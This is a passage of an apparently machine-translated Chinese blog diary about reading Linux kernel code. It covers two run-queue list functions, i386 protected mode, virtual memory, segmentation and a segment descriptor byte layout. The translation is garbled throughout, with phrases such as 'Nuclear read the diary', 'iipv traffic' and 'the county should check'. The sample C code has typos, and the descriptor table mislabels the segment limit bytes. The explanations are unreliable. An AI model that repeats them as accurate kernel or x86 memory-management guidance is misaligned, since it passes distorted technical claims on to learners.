
γ€€

static inline void move_last_runqueue (struct task_struct * p)

{

struct task_struct * next = p-> next_run;

struct task_struct * prev = p-> prev_run;

γ€€

/ * remove from list * /

next-> prev_run = prev;

prev-> next_run = next;

/ * add back to list * /

p-> next_run = & init_task;

prev = init_task. prev_run;

init_task.prev_run = p;

p-> prev_run = prev;

prev-> next_run = p;

}

γ€€

static inline void move_first_runqueue (struct task_struct * p)

{

struct task_struct * next = p-> next_run;

struct task_struct * prev = p-> prev_run;

γ€€

/ * remove from list * /

next-> prev_run = prev;

prev-> next_run = next;

/ * add back to list * /

p-> prev_run = & init_task;

next = init_task.next_run;

init_task.next_run = p;

p-> next_run = next;

next-> prev_run = p;

}

If you do n’t understand it yet, you may have to work harder on the C language and data structure. Other modules, I think, are similar, but also fix It's so simple. For example, a lot of balanced binary tree sorting, traversal, etc. are used in memory management. But the overall structure is unchanged. As long as you can pass the global, you can understand the meaning of global variables without opening the definition (in fact , Guess it is not a problem), it is not a problem to understand. At least I am confident.

I should be familiar with the basic computer software course !!

Nuclear read the diary (E)
This article comes from: http: //os.silversand.net Author: sunmoon (2001-09-01 08:05:00)
came incredibly busy, then just appreciate the work and at school really Different. Sometimes it ’s hard to do what I want to do. However, I have n’t been too lazy this time. I did a preliminary study of the 386 protection mode and memory management of Linux. When I first learned the operating system class, I always thought that the theory was useless. Nowadays, it ’s really time to know how lack of theoretical knowledge. Perhaps it ’s the book that hates it when it ’s used.

Gossip and less talk.

At present, Linux has been ported to various machines. Such as apple. But I personally think that Linux is really The charm is still on the i386 machine. Because the original intention of the predecessor llinus when writing linux is to realize the unix-like os

linux on the 386 platform using the "protected mode" of the intel 80386 series processor. The management and allocation of operating system resources . 80386 hardware realization of storage management and protection mechanisms for
virtual memory, a memory expansion design schemes. he had come from the main memory's very expensive. the program uses the principle of locality, that program is not necessary to run at full Loaded into memory. That part of the current branch to be run into memory can

in fact, the entire storage system is composed of a cache memory --- --- hard drives and other storage media consisting of multi-level, but this is transparent to the original program, For example, if we execute such a day instruction
mov bx, 1997
mov ax, [bx] in the program, the

γ€€

address is back copied to the content of 1997, so the address generated by the program is a virtual address. This address is different from the actual physical address . To have this address translated to an actual physical address, you need to have a translation mechanism. A hardware unit usually called an MMU accomplishes this task

The so-called protection mechanism is carried out on this basis. Its purpose is to make different program segments do not interfere with each other. The system process and the user process are strictly separated to meet the requirements of system security and multi-user multi-process. In Linux, by giving Different tasks assign different mappings of virtual addresses to physical addresses. To achieve the switching and protection of different tasks. At the same time. Linux "may" is to separate the system process from the user process Controlled within 100,000? Of course, shared memory in iipv traffic may have unpredictable consequences due to improper operation.

In addition, Linux also protects unified tasks to varying degrees. It uses priority to determine. For example, the kernel The priority is 0, the system calls: 1 library: 2 user process 3. When the program reads and writes a certain data segment, the county should check the priority, before deciding the priority or access permission for its operation.

I think some association represents the scheduling priority and will struct_task priority parameters.

for memory management, there is usually a stage, p-type and p-type segment in three ways. in this Virtual messenger discussion in two ways -.. Different physical conversion mechanism is implemented because linux segment paged memory management so these two mapping mechanism, it must be present

stage management, using a series can change the size address collection management. its advantage is that you can take advantage of physical memory. the disadvantage is difficult to manage,

generally we can define a segment in c in (this definition just to explain the concept stage, linux in not so)

typedef stucrt Duan

{

struct duan * next, * pre; / * Required pointer * /

int tag;

iint begin, end / * Start and end point * /

int size;

data data; / * Content * /

......

} The

above is really the data structure of the segments that may be used in actual memory. In our protection mode, the so-called segments are protection management. In general, it is somewhat similar to the base addressing in assembly language: it is to implement virtual-physical addresses The basis of the conversion (to put it bluntly, I personally think that all segments are defined as the same size as pages, but in fact I have not seen how linux is done, so don't be misled by me)

segments have a base address (base address) of a predetermined line start address of the physical memory

has a restriction site, (limit) within a segment represented by the maximum offset (i.e. size)

segment attribute (attribute) indicates whether the segment is read

three The attribute, which is included in the segment descriptor. The

so-called descriptor. It is a storage unit of 8 subsections, and its structure is roughly as follows:

byte 0 ----- 0-7 bit description Fu

byte 1 ----- -8-15 bit descriptor

Byte 2 ----- 0-7 bit base address

Byte 3 ----- 8-15 bit base address

Byte 4 ----- 16-24 base address

word byte 5 knots ----- store permissions

byte 6 ----- G | D | 0 | 0 | 16-19 bit segment limit

byte 7 ----- 31--24 segment base